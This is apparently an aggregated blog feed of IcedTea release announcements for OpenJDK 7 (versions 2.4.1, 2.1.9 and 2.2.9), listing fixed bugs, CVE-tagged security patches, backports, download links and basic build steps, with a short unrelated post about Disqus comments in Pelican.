S8002070: Remove the stack search for a resource bundle for Logger to use
S8002308: [macosx] 7198229 should be applied to the user action only
S8002390: (zipfs) Problems moving files between zip file systems
S8003169: [macosx] JVM crash after disconnecting from projector
S8003173: [macosx] Fullscreen on Mac leaves an empty rectangle
S8003268: SharedRuntime::generate_native_wrapper doesn’t save all registers across runtime tracing calls for JNI critical native methods
S8003992: File and other classes in java.io do not handle embedded nulls properly
S8004821: Graphics2D.drawPolygon() fails with IllegalPathStateException
S8004866: [macosx] HiDPI support in Aqua L&F
S8005032: G1: Cleanup serial reference processing closures in concurrent marking
S8005405: [macosx] Drag and Drop: wrong animation when dropped outside any drop target.
S8005527: [TEST_BUG] console.sh failed Automatically with exit code 1.
S8005555: TEST_BUG: java/io/Serializable/accessConstants/AccessConstants.java should be removed
S8005956: C2: assert(!def_outside->member(r)) failed: Use of external LRG overlaps the same LRG defined in this block
S8005997: [macosx] Printer Dialog opens an additional title bar
S8006008: Memory leak in hotspot/src/share/vm/adlc/archDesc.cpp
S8006014: Memory leak in hotspot/src/share/vm/adlc/dfa.cpp
S8006016: Memory leak at hotspot/src/share/vm/adlc/output_c.cpp
S8006242: G1: WorkerDataArray<T>::verify() too strict for double calculations
S8006328: Improve robustness of sound classes
S8006423: SA: NullPointerException in sun.jvm.hotspot.debugger.bsd.BsdThread.getContext(BsdThread.java:67)
S8006611: Improve scripting
S8006634: Unify LWCToolkit.invokeAndWait() and sun.awt.datatransfer.ToolkitThreadBlockedHandler
S8006894: G1: Number of marking threads missing from PrintFlagsFinal output
S8007028: java/util/NavigableMap/LockStep hit assert(flat != TypePtr::BOTTOM) failed: cannot alias-analyze an untyped ptr
S8007036: G1: Too many old regions added to last mixed GC
S8007150: Event based tracing is missing truncated field in stack trace content type
S8007221: G1: concurrent phase durations do not state the time units (“secs”)
S8007333: [launcher] removes multiple back slashes
S8007458: [findbugs] One more beans issue, with ReflectionUtils
S8007699: Move some tests from test/sun/security/provider/certpath/X509CertPath to closed repo
S8007703: Remove com.sun.servicetag API
S8008289: DefaultButtonModel instance keeps stale listeners in html FormView
S8008301: G1: guarantee(satb_mq_set.completed_buffers_num() == 0) failure
S8008366: [macosx] ActionListener called twice for JMenuItem using ScreenMenuBar
S8008391: Incorrect metadata for event based tracing
S8008454: test/runtime/NMT/PrintNMTStatistics is broken
S8008535: JDK7 Printing : CJK and Latin Text in a string overlap
S8008660: Failure in 2D Queue Flusher thread on Mac
S8008738: Issue in com.sun.org.apache.xml.internal.serializer.Encodings causes some JCK tests to fail intermittently
S8008744: Rework part of fix for JDK-6741606
S8008804: file descriptor leak in src/windows/native/java/net/DualStackPlainSocketImpl.c
S8008916: G1: Evacuation failed tracing event
S8009012: [macosx] DisplayChangedListener is not implemented in LWWindowPeer/CGraphicsEnvironment
S8009125: Add NMT tests for Virtual Memory operations
S8009152: A number of jtreg tests need review/improvement
S8009199: Printed text become garbage on Mac OSX
S8009217: REGRESSION: test com/sun/org/apache/xml/internal/security/transforms/ClassLoaderTest.java fails to compile since 7u21b03
S8009259: TEST_BUG: sun/misc/Cleaner/exitOnThrow.sh failing intermittently
S8009302: Mac OS X: JVM crash on infinite recursion on Appkit Thread
S8009536: G1: Apache Lucene hang during reference processing
S8009638: Wrong comment for PL in LocaleISOData, 1989 forward Poland is Republic of Poland
S8009751: (se) Selector spin when select, close and interestOps(0) invoked at same time (lnx)
S8009911: [macosx] SWT app freeze when going full screen using Java 7 on Mac
S8009928: PSR:PERF Increase default string table size
S8009940: G1: assert(_finger == _heap_end) failed, concurrentMark.cpp:809
S8009996: tests javax/management/mxbean/MiscTest.java and javax/management/mxbean/StandardMBeanOverrideTest.java fail
S8009999: Test sun/tools/jcmd/jcmd-f.sh failing after JDK-8008820
S8010009: [macosx] Unable type into online word games on MacOSX
S8010090: GC ID has the wrong type
S8010118: Annotate jdk caller sensitive methods with @sun.reflect.CallerSensitive
S8010151: nsk/regression/b6653214 fails “assert(snapshot != NULL) failed: Worker should not be started”
S8010213: Some api/javax_net/SocketFactory tests fail in 7u25 nightly build
S8010309: Improve PlatformLogger.isLoggable performance by direct mapping from an integer to Level
S8010399: Test8009761.java “Failed: init recursive calls: 5498. After deopt 5494″.
S8010437: guarantee(this->is8bit(imm8)) failed: Short forward jump exceeds 8-bit offset
S8010463: G1: Crashes with -UseTLAB and heap verification
S8010514: G1: Concurrent mode failure tracing event
S8010714: XML DSig API allows a RetrievalMethod to reference another RetrievalMethod
S8010721: In JDK7 the menu bar disappears when a Dialog is shown
S8010727: WLS fails to add a logger with “” in its own LogManager subclass instance
S8010770: Zero: back port of 8000780 to HS24 broke JSR 292
S8010780: G1: Eden occupancy/capacity output wrong after a full GC
S8010913: compiler/6863420 often exceeds timeout
S8010927: Kitchensink crashed with SIGSEGV, Problematic frame: v ~StubRoutines::checkcast_arraycopy
S8011102: Clear AVX registers after return from JNI call
S8011128: (fs) Files.createDirectory fails if the resolved path is exactly 248 characters long
S8011139: (reflect) Revise checking in getEnclosingClass
S8011154: java/awt/Frame/ShapeNotSetSometimes/ShapeNotSetSometimes.java failed since 7u25b03 on windows
S8011161: NMT: Memory leak when encountering out of memory error while initializing memory snapshot
S8011186: [TEST_BUG] java/awt/Focus/OverrideRedirectWindowActivationTest/OverrideRedirectWindowActivationTest.java failed on windows 8
S8011200: (coll) Optimize empty HashMap and ArrayList
S8011218: Kitchensink hanged, likely NMT is to blame
S8011313: OCSP timeout set to wrong value if com.sun.security.ocsp.timeout not defined
S8011380: FX dependency on PlatformLogger broken by 8010309
S8011425: NPE in TestObjectCountAfterGCEvent.java on Linux32
S8011557: Improve reflection utility classes
S8011653: Upgrade to JAXP 1.5
S8011686: [macosx] AWT accidentally disables the NSApplicationDelegate of SWT, causing loss of OS X integration functionality
S8011695: [tck-red] Application can not be run, the Security Warning dialog is gray.
S8011806: 7u25-b05 hotspot fastdebug build failure
S8011882: Replace spin loops as back off when suspending
S8011891: The vm/gc/heap/heap_summary_after_gc event for CMS contains old data
S8011901: Unsafe.getAndAddLong(obj, off, delta) does not work properly with long deltas
S8011947: new hotspot build – hs24-b41
S8011952: Missing ResourceMarks in TraceMethodHandles
S8011968: Kitchensink crashed with SIGSEGV in MemBaseline::baseline
S8011986: [corba] idlj generates read/write union helper methods that throw wrong exception in some cases
S8011990: TEST_BUG: java/util/logging/bundlesearch/ResourceBundleSearchTest.java fails on Windows
S8011992: java/awt/image/mlib/MlibOpsTest.java failed since jdk7u25b05
S8012004: JInternalFrame not being finalized after closing
S8012019: (fc) Thread.interrupt triggers hang in FileChannelImpl.pread (win)
S8012037: Test8009761.java “Failed: init recursive calls: 7224. After deopt 58824″
S8012044: Give more information about self-suppression from Throwable.addSuppressed
S8012082: SASL: auth-conf negotiated, but unencrypted data is accepted, reset to unencrypt
S8012086: The object count event should only send events for instances occupying more than 0.5% of the heap
S8012102: CollectedHeap::ensure_parsability is not always called during heap inspection
S8012112: java/awt/image/mlib/MlibOpsTest.java fails on sparc solaris
S8012182: Add information about class loading and unloading to event based tracing framework
S8012210: Make TracingTime available when INCLUDE_TRACE = 0
S8012212: Want to link against kstat on solaris x86 as well as sparc
S8012243: about 30% regression on specjvm2008.serial on 7u25 comparing 7u21
S8012265: VM often crashes on solaris with a lot of memory
S8012330: [macosx] Sometimes the applet showing the modal dialog itself loses the ability to gain focus
S8012335: G1: Fix bug with compressed oops in template interpreter on x86 and sparc.
S8012381: [macosx] Collation selection ignored when printing on MacOSX
S8012453: (process) Runtime.exec(String) fails if command contains spaces [win]
S8012455: Missing time and date stamps for PrintGCApplicationConcurrentTime and PrintGCApplicationStoppedTime
S8012558: new hotspot build – hs24-b42
S8012586: [x11] Modal dialogs for fullscreen window may show behind its owner
S8012617: ArrayIndexOutOfBoundsException with some fonts using LineBreakMeasurer
S8012683: Remove unused, obsolete ObjectFactory classes
S8012714: Assign the unique traceid directly to the Klass upon creation
S8012715: G1: GraphKit accesses PtrQueue::_index as int but is size_t
S8012933: Test closed/java/awt/Dialog/DialogAnotherThread/JaWSTest.java fails since jdk 7u25 b07
S8013057: assert(_needs_gc || SafepointSynchronize::is_at_safepoint()) failed: only read at safepoint
S8013117: Thread-local trace_buffer has wrong type and name
S8013120: NMT: Kitchensink crashes with assert(next_region == NULL || !next_region->is_committed_region()) failed: Sanity check
S8013140: Heap corruption with NetworkInterface.getByInetAddress() and long i/f name
S8013196: TimeZone.getDefault() throws NPE due to sun.awt.AppContext.getAppContext()
S8013214: BigApps fails due to ‘fatal error: Illegal threadstate encountered: 6′
S8013226: new hotspot build – hs24-b43
S8013228: Create new system properties to control allowable OCSP clock skew and CRL connection timeout
S8013370: Null pointer exception when adding more than 9 accelators to a JMenuBar
S8013380: Removal of stack walk to find resource bundle breaks Glassfish startup
S8013398: Adjust number of stack guard pages on systems with large memory page size
S8013416: Java Bean Persistence with XMLEncoder
S8013557: XMLEncoder in 1.7 can’t encode objects initialized in no argument constructor
S8013651: NMT: reserve/release sequence id’s in incorrect order due to race
S8013799: new hotspot build – hs24-b44
S8013810: PrintServiceLookup.lookupPrintServices() does not return consistent result
S8013827: File.createTempFile hangs with temp file starting with ‘com1.4′
S8013900: More warnings compiling jaxp.
S8013917: Kitchensink crashed with SIGSEGV in BaselineReporter::diff_callsites
S8013934: Garbage collection event for CMS has wrong cause for System.gc()
S8014048: Online user guide of jconsole points incorrect link
S8014129: makefile changes to allow integration of new features
S8014189: JVM crash with SEGV in ConnectionGraph::record_for_escape_analysis()
S8014196: ktab creates a file with zero kt_vno
S8014205: Most of the Swing dialogs are blank on one win7 MUI
S8014278: new hotspot build – hs24-b45
S8014326: [OSX] All libjvm symbols are exported
S8014408: G1: crashes with assert assert(prev_committed_card_num == _committed_max_card_num) failed
S8014411: Decrease lock order rank for event tracing locks
S8014420: Default JDP address does not match the one assigned by IANA
S8014423: [macosx] The scrollbar’s block increment performs incorrectly
S8014427: REGRESSION: closed/javax/imageio/plugins/bmp/Write3ByteBgrTest.java fails since 7u25 b09
S8014478: EnableTracing: output from multiple threads may be mixed together
S8014611: reserve_and_align() assumptions are invalid on windows
S8014669: arch specific flags not passed to some link commands
S8014676: Java debugger may fail to run
S8014718: Netbeans IDE begins to throw a lot exceptions since 7u25 b10
S8014721: TEST_BUG: java/awt/TrayIcon/DragEventSource/DragEventSource.java fails with java.lang.UnsupportedOperationException
S8014724: Broken 7u-dev build
S8014745: Provide a switch to allow stack walk search of resource bundle
S8014759: new hotspot build – hs24-b46
S8014811: loopTransform.cpp assert(cmp_end->in(2) == limit) failed
S8014821: Regression: Focus issues with Oracle WebCenter Capture applet
S8014863: Line break calculations in Java 7 are incorrect
S8014891: Redundant setting of external access properties in setFeatures
S8014924: JToolTip#setTipText() sometimes (very often) not repaints component.
S8014941: make jdk7u40 the default jprt release for hs24
S8014968: OCSP and CRL connection timeout is set to four hours by default
S8014969: Use open man pages for non commercial builds
S8015016: Improve JAXP 1.5 error message
S8015275: Resolve ambiguity in OCSPChecker & CrlRevocationChecker
S8015303: [macosx] Application launched via custom URL Scheme does not receive URL
S8015304: new hotspot build – hs24-b47
S8015334: Memory leak when kerning is used on Windows.
S8015375: Edits to text components hang for clipboard access
S8015556: [macosx] surrogate pairs do not render properly.
S8015604: JDP packets containing ideographic characters are broken
S8015606: Text is not rendered correctly if destination buffer is custom
S8015683: object_count_after_gc should have the same timestamp for all events
S8015689: new hotspot build – hs24-b48
S8015972: Refactor the sending of the object count after GC event
S8016046: (process) Strict validation of input should be security manager case only [win].
S8016063: getFinalAttributes should use FindClose
S8016065: Write regression test for 7167142
S8016077: new hotspot build – hs24-b49
S8016153: Property http://javax.xml.XMLConstants/property/accessExternalDTD is not recognized.
S8016170: GC id variable in gcTrace.cpp should use typedef GCId
S8016187: assert(nbits == 32 || (-(1 << nbits-1) <= x && x < ( 1 << nbits-1))) failed: value out of range
S8016556: G1: Use ArrayAllocator for BitMaps
S8016566: new hotspot build – hs24-b50
S8016735: Remove superfluous EnableInvokeDynamic warning from UnlockDiagnosticVMOptions check
S8016814: sun.reflect.Reflection.getCallerClass returns the frame off by 1
The tarball can be downloaded from:
http://icedtea.classpath.org/download/source/icedtea-2.4.1.tar.gz
SHA256 checksums:
65142e19ee14c28106345b30b6181f5a4926dd20be599c536d778e31a8a5812a icedtea-2.4.1.tar.gz
The tarball is accompanied by a digital signature available at:
http://icedtea.classpath.org/download/source/icedtea-2.1.9.tar.gz.sig
http://icedtea.classpath.org/download/source/icedtea-2.2.9.tar.gz.sig
This is produced using my public key. See details below.
PGP Key: 248BDC07 (https://keys.indymedia.org/)
Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07
The following people helped with these releases:
Andrew Hughes (synchronisation with upstream and release management)
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-2.4.1.tar.gz
$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-2.4.1/configure
$ make
Full build requirements and instructions are available in the INSTALL file.
Happy hacking! [Less]
|
|
Posted
over 12 years
ago
I like it when visitors can leave comments, and Disqus is extremely easy to use
with Pelican. It literally takes a single setting to switch on.
|
|
Posted
over 12 years
ago
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
These releases update our
... [More]
OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.1.x and 2.2.x branches upgrade to the latest release as soon as possible. The security fixes are as follows:
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001308: Update display of applet windows
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004288, CVE-2013-2449: (fs) Files.probeContentType problems
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8007925: Improve cmsStageAllocLabV2ToV4curves
S8007926: Improve cmsPipelineDup
S8007927: Improve cmsAllocProfileSequenceDescription
S8007929: Improve CurvesAlloc
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008607: Better input checking in JMX
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009008: Better manage management-api
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009057, CVE-2013-2448: Improve MIDI event handling
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8009424, CVE-2013-2458: Adapt Nashorn to JSR-292 implementation change
S8009554, CVE-2013-2454: Improve SerialJavaObject.getFields
S8009654: Improve stability of cmsnamed
S8010209, CVE-2013-2460: Better provision of factories
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
S8001330 is currently only provided for HotSpot 23.7 on 2.3.x, as we’ve found it to be unstable when applied to the older HotSpots. If we find a solution for this, we’ll issue a further update.
This will be the last set of updates for the 2.1.x and 2.2.x branches. Users should upgrade to either 2.3.10 or the upcoming 2.4.1 release. Those users who need ARM32 JIT support should wait for the 2.3.11 release, coming in the next few months, which will add this to the 2.3.x series.
IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures. In this release, use of the system version of LCMS is disabled by default to ensure the most secure version is used. Before using the system version, please ensure it has the S8007925, S8007926, S8007927, S8007929 and S8009654 updates listed above.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below. Note that the unusually large number of backports is due to backporting from the upstream u25 release, which also provides all these.
What’s New?
New in release 2.1.9 (2013-06-29)
New features
PR1378: Add AArch64 support to Zero
Security fixes
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001308: Update display of applet windows
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004288, CVE-2013-2449: (fs) Files.probeContentType problems
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8007925: Improve cmsStageAllocLabV2ToV4curves
S8007926: Improve cmsPipelineDup
S8007927: Improve cmsAllocProfileSequenceDescription
S8007929: Improve CurvesAlloc
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008607: Better input checking in JMX
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009008: Better manage management-api
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009057, CVE-2013-2448: Improve MIDI event handling
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8009424, CVE-2013-2458: Adapt Nashorn to JSR-292 implementation change
S8009554, CVE-2013-2454: Improve SerialJavaObject.getFields
S8009654: Improve stability of cmsnamed
S8010209, CVE-2013-2460: Better provision of factories
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
Backports
S7171223, RH967436: Building ExtensionSubtables.cpp should use -fno-strict-aliasing
S7053526: Upgrade JDK 8 to use Little CMS 2.4
S7077803: java.lang.InternalError in java.lang.invoke.MethodHandleNatives.init
S7124347: [macosx] java.lang.InternalError: not implemented yet on call Graphics2D.drawRenderedImage
S7142596: RMI JPRT tests are failing
S7151434, RH969884: java -jar -XX crashes java launcher
S7158483: (tz) Support tzdata2012c
S7188114: (launcher) need an alternate command line parser for Windows
S7195301: XML Signature DOM implementation should not use instanceof to determine type of Node
S7198570: (tz) Support tzdata2012f
S7199143: RFE: OCSP revocation checker should provide possibility to specify connection timeout
S8002070: Remove the stack search for a resource bundle for Logger to use
S8002225: (tz) Support tzdata2012i
S8006120: Provide “Server JRE” for 7u train
S8006536: [launcher] removes trailing slashes on arguments
S8009165: Fix for 8006435 needs revision
S8009217: REGRESSION: test com/sun/org/apache/xml/internal/security/transforms/ClassLoaderTest.java fails to compile since 7u21b03
S8009463: Regression test test\java\lang\Runtime\exec\ArgWithSpaceAndFinalBackslash.java failing.
S8009610: Blacklist certificate used with malware.
S8009987: (tz) Support tzdata2013b
S8009996: tests javax/management/mxbean/MiscTest.java and javax/management/mxbean/StandardMBeanOverrideTest.java fail
S8010118: Annotate jdk caller sensitive methods with @sun.reflect.CallerSensitive
S8010213: Some api/javax_net/SocketFactory tests fail in 7u25 nightly build
S8010714: XML DSig API allows a RetrievalMethod to reference another RetrievalMethod
S8010727: WLS fails to add a logger with “” in its own LogManager subclass instance
S8010939: Deadlock in LogManager
S8011139: (reflect) Revise checking in getEnclosingClass
S8011154: java/awt/Frame/ShapeNotSetSometimes/ShapeNotSetSometimes.java failed since 7u25b03 on windows
S8011313: OCSP timeout set to wrong value if com.sun.security.ocsp.timeout not defined
S8011557: Improve reflection utility classes
S8011806: 7u25-b05 hotspot fastdebug build failure
S8011990: TEST_BUG: java/util/logging/bundlesearch/ResourceBundleSearchTest.java fails on Windows
S8011992: java/awt/image/mlib/MlibOpsTest.java failed since jdk7u25b05
S8012112: java/awt/image/mlib/MlibOpsTest.java fails on sparc solaris
S8012243: about 30% regression on specjvm2008.serial on 7u25 comparing 7u21
S8012453: (process) Runtime.exec(String) fails if command contains spaces [win]
S8012617: ArrayIndexOutOfBoundsException with some fonts using LineBreakMeasurer
S8012933: Test closed/java/awt/Dialog/DialogAnotherThread/JaWSTest.java fails since jdk 7u25 b07
S8013196: TimeZone.getDefault() throws NPE due to sun.awt.AppContext.getAppContext()
S8013228: Create new system properties to control allowable OCSP clock skew and CRL connection timeout
S8013380: Removal of stack walk to find resource bundle breaks Glassfish startup
S8014205: Most of the Swing dialogs are blank on one win7 MUI
S8014427: REGRESSION: closed/javax/imageio/plugins/bmp/Write3ByteBgrTest.java fails since 7u25 b09
S8014618, RH962568: Need to strip leading zeros in TlsPremasterSecret of DHKeyAgreement
S8014676: Java debugger may fail to run
S8014718: Netbeans IDE begins to throw a lot exceptions since 7u25 b10
S8014745: Provide a switch to allow stack walk search of resource bundle
S8014968: OCSP and CRL connection timeout is set to four hours by default
Bug fixes
PR1095, PR1409: Allow -Werror to be turned off (HotSpot repository only).
PR1188: ASM Interpreter and Thumb2 JIT javac miscompile modulo reminder on armel
New in release 2.2.9 (2013-06-29)
New features
PR1378: Add AArch64 support to Zero
Security fixes
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001308: Update display of applet windows
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004288, CVE-2013-2449: (fs) Files.probeContentType problems
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8007925: Improve cmsStageAllocLabV2ToV4curves
S8007926: Improve cmsPipelineDup
S8007927: Improve cmsAllocProfileSequenceDescription
S8007929: Improve CurvesAlloc
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008607: Better input checking in JMX
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009008: Better manage management-api
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009057, CVE-2013-2448: Improve MIDI event handling
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8009424, CVE-2013-2458: Adapt Nashorn to JSR-292 implementation change
S8009554, CVE-2013-2454: Improve SerialJavaObject.getFields
S8009654: Improve stability of cmsnamed
S8010209, CVE-2013-2460: Better provision of factories
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
Backports
S7053526: Upgrade JDK 8 to use Little CMS 2.4
S7124347: [macosx] java.lang.InternalError: not implemented yet on call Graphics2D.drawRenderedImage
S7142091: [macosx] RFE: Refactoring of peer initialization/disposing
S7142596: RMI JPRT tests are failing
S7150345: [macosx] Can’t type into applets
S7151434, RH969884: java -jar -XX crashes java launcher
S7156191: [macosx] Can’t type into applet demos in Pivot
S7156194: [macosx] Can’t type non-ASCII characters into applets
S7171223: Building ExtensionSubtables.cpp should use -fno-strict-aliasing
S7174718: [macosx] Regression in 7u6 b12: PopupFactory leaks DefaultFrames.
S7188114: (launcher) need an alternate command line parser for Windows
S7195301: XML Signature DOM implementation should not use instanceof to determine type of Node
S7198570: (tz) Support tzdata2012f
S7199143: RFE: OCSP revocation checker should provide possibility to specify connection timeout
S8001161: mac: EmbeddedFrame doesn’t become active window
S8002070: Remove the stack search for a resource bundle for Logger to use
S8002225: (tz) Support tzdata2012i
S8005932: Java 7 on mac os x only provides text clipboard formats
S8006120: Provide “Server JRE” for 7u train
S8006417: JComboBox.showPopup(), hidePopup() fails in JRE 1.7 on OS X
S8006536: [launcher] removes trailing slashes on arguments
S8009165: Fix for 8006435 needs revision
S8009217: REGRESSION: test com/sun/org/apache/xml/internal/security/transforms/ClassLoaderTest.java fails to compile since 7u21b03
S8009463: Regression test test\java\lang\Runtime\exec\ArgWithSpaceAndFinalBackslash.java failing.
S8009610: Blacklist certificate used with malware.
S8009987: (tz) Support tzdata2013b
S8009996: tests javax/management/mxbean/MiscTest.java and javax/management/mxbean/StandardMBeanOverrideTest.java fail
S8010009: [macosx] Unable type into online word games on MacOSX
S8010118: Annotate jdk caller sensitive methods with @sun.reflect.CallerSensitive
S8010213: Some api/javax_net/SocketFactory tests fail in 7u25 nightly build
S8010714: XML DSig API allows a RetrievalMethod to reference another RetrievalMethod
S8010727: WLS fails to add a logger with “” in its own LogManager subclass instance
S8010939: Deadlock in LogManager
S8011139: (reflect) Revise checking in getEnclosingClass
S8011154: java/awt/Frame/ShapeNotSetSometimes/ShapeNotSetSometimes.java failed since 7u25b03 on windows
S8011313: OCSP timeout set to wrong value if com.sun.security.ocsp.timeout not defined
S8011557: Improve reflection utility classes
S8011806: 7u25-b05 hotspot fastdebug build failure
S8011990: TEST_BUG: java/util/logging/bundlesearch/ResourceBundleSearchTest.java fails on Windows
S8011992: java/awt/image/mlib/MlibOpsTest.java failed since jdk7u25b05
S8012112: java/awt/image/mlib/MlibOpsTest.java fails on sparc solaris
S8012243: about 30% regression on specjvm2008.serial on 7u25 comparing 7u21
S8012330: [macosx] Sometimes the applet showing the modal dialog itself loses the ability to gain focus
S8012453: (process) Runtime.exec(String) fails if command contains spaces [win]
S8012617: ArrayIndexOutOfBoundsException with some fonts using LineBreakMeasurer
S8012933: Test closed/java/awt/Dialog/DialogAnotherThread/JaWSTest.java fails since jdk 7u25 b07
S8013196: TimeZone.getDefault() throws NPE due to sun.awt.AppContext.getAppContext()
S8013228: Create new system properties to control allowable OCSP clock skew and CRL connection timeout
S8013380: Removal of stack walk to find resource bundle breaks Glassfish startup
S8014205: Most of the Swing dialogs are blank on one win7 MUI
S8014423: [macosx] The scrollbar’s block increment performs incorrectly
S8014427: REGRESSION: closed/javax/imageio/plugins/bmp/Write3ByteBgrTest.java fails since 7u25 b09
S8014618, RH962568: Need to strip leading zeros in TlsPremasterSecret of DHKeyAgreement
S8014676: Java debugger may fail to run
S8014718: Netbeans IDE begins to throw a lot exceptions since 7u25 b10
S8014745: Provide a switch to allow stack walk search of resource bundle
S8014968: OCSP and CRL connection timeout is set to four hours by default
The tarballs can be downloaded from:
http://icedtea.classpath.org/download/source/icedtea-2.1.9.tar.gz
